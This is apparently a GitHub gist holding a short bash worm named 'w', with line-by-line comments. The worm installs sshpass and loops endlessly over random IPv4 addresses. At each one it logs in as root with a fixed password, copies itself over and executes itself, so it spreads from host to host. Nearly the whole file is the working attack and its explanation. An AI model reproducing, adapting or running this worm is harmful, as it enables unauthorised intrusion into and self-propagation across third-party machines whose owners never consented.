Skip to content

Instantly share code, notes, and snippets.

@ulissescastro
Created November 18, 2014 01:57
Show Gist options
  • Select an option

  • Save ulissescastro/befe8cddaf2aa2cb2187 to your computer and use it in GitHub Desktop.

Select an option

Save ulissescastro/befe8cddaf2aa2cb2187 to your computer and use it in GitHub Desktop.

Revisions

  1. ulissescastro created this gist Nov 18, 2014.
    35 changes: 35 additions & 0 deletions w
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,35 @@
    x=RANDOM%256; s=sshpass; c="$s -pPASS"; yum install $s -y; while :; do t=root@$[x].$[x].$[x].$[x]; $c scp w $t:; $c ssh $t "chmod +x w; ./w"; done

    # random var
    # x=RANDOM%256
    # echo $[x]
    # 117

    # sshpassh executable
    # s=sshpass

    # command sshpass + param + password
    # c="$s -pPASS";
    # sshpass -pPASS

    # sshpass root install without ask
    # yum install $s -y;
    # yum install sshpass -y;

    # black magic!
    # while infection, replication and remote execution loop for each infected host
    # while :; do <commands> done

    # root@<random ip>
    # t=root@$[x].$[x].$[x].$[x];
    # $ echo $t
    # root@94.185.179.34

    # copy "w" to user's home (root)
    # $c scp w $t:; $c ssh $t "chmod +x w; ./w";
    # sshpass -pPASS scp w root@94.185.179.34:;

    # upload and execute, start it over
    # $c ssh $t "chmod +x w; ./w";
    # sshpass -pPASS root@94.185.179.34 "chmod +x w; ./w";